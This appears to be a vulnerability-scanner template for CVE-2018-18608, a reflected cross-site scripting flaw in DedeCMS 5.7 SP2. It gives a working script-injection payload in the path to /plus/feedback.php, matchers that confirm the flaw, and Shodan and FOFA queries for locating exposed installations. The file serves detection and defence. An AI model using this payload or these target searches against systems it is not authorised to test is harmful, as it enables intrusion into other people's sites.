DedeCMS 5.7 SP2 - Cross-Site Scripting

id: CVE-2018-18608

info:
  name: DedeCMS 5.7 SP2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    DedeCMS 5.7 SP2 is vulnerable to cross-site scripting via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of DedeCMS or apply the official patch provided by the vendor to fix the XSS vulnerability.
  reference:
    - https://github.com/ky-j/dedecms/issues/8
    - https://github.com/ky-j/dedecms/files/2504649/Reflected.XSS.Vulnerability.exists.in.the.file.of.DedeCMS.V5.7.SP2.docx
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18608
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18608
    cwe-id: CWE-79
    epss-score: 0.02625
    epss-percentile: 0.83498
    cpe: cpe:2.3:a:dedecms:dedecms:5.7:sp2:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query:
      - http.html:"DedeCms"
      - cpe:"cpe:2.3:a:dedecms:dedecms"
      - http.html:"dedecms"
    fofa-query:
      - body="dedecms"
      - app="dedecms"
  tags: cve2018,cve,dedecms,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plus/feedback.php/rp4hu%27><script>alert%28document.domain%29<%2fscript>?aid=3"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'><script>alert(document.domain)</script>"
          - "DedeCMS Error Warning!"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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